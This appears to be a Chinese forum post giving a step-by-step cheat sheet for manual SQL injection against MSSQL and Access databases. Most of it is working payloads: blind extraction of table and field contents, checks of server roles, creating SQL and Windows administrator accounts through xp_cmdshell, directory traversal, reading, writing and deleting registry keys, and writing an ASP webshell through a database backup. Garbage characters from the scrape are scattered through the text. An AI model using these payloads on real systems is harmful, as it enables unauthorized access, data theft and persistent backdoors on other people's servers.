手工脚本注入

admin

手工脚本注入
" \$ H9 {" X$ F9 p1.判断是否有注入;and 1=1 ;and 1=2
8 O- P& m9 v6 k; g; U7 Q/ w
7 q( ~+ F9 Y$ t- H: c+ {2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
2 b$ }  m/ A* a" ~( b
" p+ F, q# [4 W# m5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
# C6 G! P' e0 z6 t) b6 }# d
6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0
$ V2 Q8 b0 _7 u0 O* z
  v% p9 H0 Z/ L4 _/ g" u8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

2 b6 U& k* u  l) J9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

' k% Z6 a& w* s9 S(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
$ g5 I- q% j2 C3 w;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 g; p2 r3 f! ^8 W7 O0 G# W& j;and 1=(select IS_MEMBER('db_owner'));--

. x4 l! V( K1 g11.添加mssql和系统的帐户
: V7 M6 [4 g* y- E& J- g;exec master.dbo.sp_addlogin username;--
) z* @  ]1 |% \7 L3 q& e+ q; K# q
;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--
8 X& D; Y  E/ p6 X4 W6 b5 f6 m# c% ^
;exec master.dbo.xp_cmdshell 'net user username password
, r! u3 U* e$ f9 u, V0 B. k/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

& }5 [; K& s. a% w; ~;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  s. v/ @% m3 V5 r% t' n6 Y
12.(1)遍历目录
, l- r0 l; s# i& F, z5 I7 a
;create table dirs(paths varchar(100), id int)
2 |" y6 F2 H, P/ _;insert dirs exec master.dbo.xp_dirtree 'c:\'
$ G; D5 d1 Y/ |1 s;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

$ T3 B4 _5 f: l% c/ ~3 Q$ L$ Y(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 d& Z& F$ S0 E" Z;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 h* J5 P" E7 B+ K
% L  }$ I; Y- B% Y6 f4 s( h$ w13.mssql中的存储过程
* A: P& I; |- M+ K
, a1 M, A0 Z6 ?) \xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: q6 j& }2 t% J. T+ m3 F: u
xp_regread 根键,子键,键值名
;exec xp_regread
9 C5 K. G$ U- P. e5 p+ s'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 p8 C. Y4 t5 T! G& a( J  Y: N/ f
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% m3 t0 Z8 u/ f  C! P. m- c;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名
8 k6 N/ ]) ]! R4 S0 ~
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
7 r2 g2 l7 q* Q  D7 B
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
% Q6 ]; h- C3 D/ k. yinsert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
* q2 h3 }( e6 K( b6 t/ W
15.mssql内置函数
1 x+ L- j- `1 t; l;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
: l6 E  u2 \7 \9 w! l7 b
16.简洁的webshell
% x  |3 Q5 a" L. {  @2 b
use model

create table cmd(str image);

6 [) P- ^" G/ S& J/ Winsert into cmd(str) values ('');
7 @0 G; A# U8 H9 ~
backup database model to disk='g:\wwwtest\l.asp';

( e: R- H9 T( c) b

老男孩

现在很多防注入啊，有其他注入字符码